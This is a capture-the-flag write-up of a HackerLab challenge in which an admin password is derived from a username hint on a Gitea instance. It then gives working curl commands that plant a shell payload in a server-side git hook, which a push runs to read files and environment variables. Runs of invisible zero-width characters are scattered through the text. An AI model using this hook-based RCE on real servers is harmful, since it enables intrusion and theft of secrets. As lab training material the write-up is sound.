Чаепитие

Platform: hackerlab | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-06-03 | Status: Solved Techniques: api_based_exploitation, environment_variable_exfiltration, gitea_admin_git_hooks_rce, username_hint_credential_derivation

Summary

Task: Gitea 1.21.11 instance with open registration and admin user whose username hints at the password derivation method. Solution: derived admin password from md5_CODEBY username hint (MD5 of CODEBY), then exploited admin git hooks for RCE to extract flag from environment variable.

Чаепитие — HackerLab

Description

Попадитесь на крючок…

English summary: A Gitea 1.21.11 instance is running at the target. The challenge name "Чаепитие" means "Tea party" — a direct reference to Gitea's tagline "Git with a cup of tea". The hint "Попадитесь на крючок" means "Get hooked", pointing to Git hooks as the exploitation vector. The goal is to achieve RCE and find the flag.

Analysis

Semantic Clues

• "Чаепитие" (Tea party) → Gitea = "Git with a cup of tea"
• "Попадитесь на крючок" (Get hooked) → Git hooks (server-side hooks for RCE) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Reconnaissance

• Target runs Gitea 1.21.11 at 62.173.140.174:10480
• Registration is open, but all public repositories are spam/noise
• Explored users via /explore/users?sort=oldest and found the first registered user: md5_CODEBY (user ID 1 = site admin)
• Confirmed admin status via API: GET /api/v1/users/md5_CODEBY returned id: 1

Credential Derivation

The username md5_CODEBY is itself a hint — the password is the MD5 hash of "CODEBY":

$ echo -n "CODEBY" | md5sum
792e6c3a05eb8aea1f5e386f50334584

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Verified login:

 bash read-only • copy allowed Copy
curl -u "md5_CODEBY:792e6c3a05eb8aea1f5e386f50334584" \
  http://62.173.140.174:10480/api/v1/user

Response confirmed "is_admin": true.

Git Hooks RCE Vector

In Gitea, admin users (or users with "May create git hooks" permission) can edit server-side Git hooks via the API. This is conceptually related to CVE-2020-14144 (authenticated RCE via git hooks in Gitea), though the feature persists by design for admin users in all versions. Server-side hooks (pre-receive, update, post-receive) execute arbitrary shell commands when a push event occurs. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Create a Repository

 bash read-only • copy allowed Copy
curl -u "md5_CODEBY:792e6c3a05eb8aea1f5e386f50334584" \
  -X POST "http://62.173.140.174:10480/api/v1/user/repos" \
  -H "Content-Type: application/json" \
  -d '{"name":"hook-test","auto_init":true,"default_branch":"main"}'

Step 2: Set a Post-Receive Git Hook with RCE Payload

 bash read-only • copy allowed Copy
curl -u "md5_CODEBY:792e6c3a05eb8aea1f5e386f50334584" \
  -X PATCH "http://62.173.140.174:10480/api/v1/repos/md5_CODEBY/hook-test/hooks/git/post-receive" \
  -H "Content-Type: application/json" \
  -d '{"content":"#!/bin/bash\nid\nls -la /\nfind / -name \"flag*\" 2>/dev/null\ncat /flag* 2>/dev/null\nenv | grep -i flag 2>/dev/null"}'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: Trigger the Hook via Git Push

 bash read-only • copy allowed Copy
git clone http://md5_CODEBY:792e6c3a05eb8aea1f5e386f50334584@62.173.140.174:10480/md5_CODEBY/hook-test.git
cd hook-test
echo "trigger" > trigger.txt
git add trigger.txt
git commit -m "trigger hook"
git push origin main

Step 4: Read Flag from Push Output

The push output displayed the hook execution results as remote: lines:

remote: uid=1000(git) gid=1000(git) groups=1000(git)
remote: FLAG=CODEBY{REDACTED}

The flag was stored in an environment variable inside the Docker container running as uid=1000(git). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍